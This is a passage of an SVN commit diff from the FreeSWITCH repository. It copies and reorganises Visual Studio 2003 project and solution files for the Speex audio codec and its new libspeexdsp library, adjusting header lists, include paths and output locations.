 				RelativePath="..\..\..\libspeex\math_approx.h">
 			</File>
 			<File
-				RelativePath="..\..\..\libspeex\misc.h">
-			</File>
-			<File
 				RelativePath="..\..\..\libspeex\modes.h">
 			</File>
 			<File
 				RelativePath="..\..\..\libspeex\nb_celp.h">
 			</File>
 			<File
+				RelativePath="..\..\..\libspeex\os_support.h">
+			</File>
+			<File
 				RelativePath="..\..\..\libspeex\quant_lsp.h">
 			</File>
 			<File
 				RelativePath="..\..\..\libspeex\sb_celp.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex.h">
+				RelativePath="..\..\..\libspeex\stack_alloc.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_bits.h">
+				RelativePath="..\..\..\libspeex\vbr.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_callbacks.h">
+				RelativePath="..\..\..\libspeex\vq.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_echo.h">
+				RelativePath="..\..\..\libspeex\vq_sse.h">
 			</File>
+		</Filter>
+		<Filter
+			Name="Public Header Files"
+			Filter="">
 			<File
-				RelativePath="..\..\..\include\speex\speex_header.h">
+				RelativePath="..\..\..\include\speex\speex.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_jitter.h">
+				RelativePath="..\..\..\include\speex\speex_bits.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_noglobals.h">
+				RelativePath="..\..\..\include\speex\speex_callbacks.h">
 			</File>
 			<File
-				RelativePath="..\..\..\include\speex\speex_preprocess.h">
+				RelativePath="..\..\..\include\speex\speex_header.h">
 			</File>
 			<File
 				RelativePath="..\..\..\include\speex\speex_stereo.h">
@@ -457,15 +403,6 @@
 			<File
 				RelativePath="..\..\..\include\speex\speex_types.h">
 			</File>
-			<File
-				RelativePath="..\..\..\libspeex\stack_alloc.h">
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\vbr.h">
-			</File>
-			<File
-				RelativePath="..\..\..\libspeex\vq.h">
-			</File>
 		</Filter>
 		<Filter
 			Name="Resource Files"
@@ -473,8 +410,11 @@
 			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
 		</Filter>
 		<File
-			RelativePath=".\ReadMe.txt">
+			RelativePath="..\..\config.h">
 		</File>
+		<File
+			RelativePath="..\..\libspeex.def">
+		</File>
 	</Files>
 	<Globals>
 	</Globals>

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex.sln (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/libspeex.sln) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex.sln	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/libspeex.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,146 @@
+Microsoft Visual Studio Solution File, Format Version 8.00
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+	ProjectSection(ProjectDependencies) = postProject
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexdec", "speexdec\speexdec.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "speexenc", "speexenc\speexenc.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testdenoise", "tests\testdenoise.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testecho", "tests\testecho.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc", "tests\testenc.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_uwb", "tests\testenc_uwb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testenc_wb", "tests\testenc_wb.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testresample", "tests\testresample.vcproj", "{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	ProjectSection(ProjectDependencies) = postProject
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libspeexdsp\libspeexdsp.vcproj", "{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+	ProjectSection(ProjectDependencies) = postProject
+	EndProjectSection
+EndProject
+Global
+	GlobalSection(SolutionConfiguration) = preSolution
+		Debug = Debug
+		Release = Release
+		Release_Dynamic_SSE = Release_Dynamic_SSE
+		Release_Static_SSE = Release_Static_SSE
+	EndGlobalSection
+	GlobalSection(ProjectDependencies) = postSolution
+	EndGlobalSection
+	GlobalSection(ProjectConfiguration) = postSolution
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release.Build.0 = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE.ActiveCfg = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Dynamic_SSE.Build.0 = Release_Dynamic_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE.ActiveCfg = Release_Static_SSE|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release_Static_SSE.Build.0 = Release_Static_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA8}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DA9}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug.ActiveCfg = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Debug.Build.0 = Debug|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release.ActiveCfg = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release.Build.0 = Release|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Dynamic_SSE.Build.0 = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE.ActiveCfg = Release_SSE|Win32
+		{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}.Release_Static_SSE.Build.0 = Release_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug.Build.0 = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release.ActiveCfg = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release.Build.0 = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic_SSE.ActiveCfg = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Dynamic_SSE.Build.0 = Release_Dynamic_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Static_SSE.ActiveCfg = Release_Static_SSE|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release_Static_SSE.Build.0 = Release_Static_SSE|Win32
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+	EndGlobalSection
+	GlobalSection(ExtensibilityAddIns) = postSolution
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/libspeexdsp)

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/Makefile.am

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/Makefile.am (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/libspeexdsp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+## Process this file with automake to produce Makefile.in. -*-Makefile-*-
+
+# Disable automatic dependency tracking if using other tools than gcc and gmake
+#AUTOMAKE_OPTIONS = no-dependencies
+
+EXTRA_DIST = libspeexdsp.vcproj
+
+

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/libspeexdsp.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/libspeexdsp.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/libspeexdsp/libspeexdsp.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/libspeexdsp.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/libspeexdsp/libspeexdsp.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,342 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="libspeexdsp"
+	ProjectGUID="{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="4"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="3"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="../../../bin/libspeexdsp.dll"
+				ModuleDefinitionFile="..\..\libspeexdsp.def"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				ImportLibrary="../../../lib/libspeexdsp.lib"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_Static_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="3"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="_USE_SSE;WIN32;NDEBUG;_WINDOWS;_USRDLL;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="../../../lib/libspeexdsp.lib"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\buffer.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\jitter.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\mdf.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\preprocess.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\resample.c">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+			<File
+				RelativePath="..\..\..\libspeex\_kiss_fft_guts.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\arch.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filterbank.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_debug.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fixed_generic.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\math_approx.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\os_support.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\pseudofloat.h">
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\smallft.h">
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+		<Filter
+			Name="Public Header Files"
+			Filter="">
+			<File
+				RelativePath="..\..\..\include\speex\speex.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_bits.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_buffer.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_echo.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_jitter.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_preprocess.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_resampler.h">
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_types.h">
+			</File>
+		</Filter>
+		<File
+			RelativePath="..\..\config.h">
+		</File>
+		<File
+			RelativePath="..\..\libspeexdsp.def">
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/speex/win32/VS2003/speexdec/speexdec.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/speexdec/speexdec.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/speexdec/speexdec.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,11 +19,11 @@
 			<Tool
 				Name="VCCLCompilerTool"
 				Optimization="0"
-				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\..\..\libspeex;..\.."
+				AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\libogg\include;..\.."
 				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
 				MinimalRebuild="TRUE"
 				BasicRuntimeChecks="3"
-				RuntimeLibrary="1"
+				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
 				WarningLevel="3"
 				Detect64BitPortabilityProblems="TRUE"
@@ -33,9 +33,10 @@
 				Name="VCCustomBuildTool"/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="winmm.lib"
-				OutputFile="$(OutDir)/speexdec.exe"
+				AdditionalDependencies="winmm.lib libogg.lib"
+				OutputFile="../../../bin/speexdec.exe"
 				LinkIncremental="2"
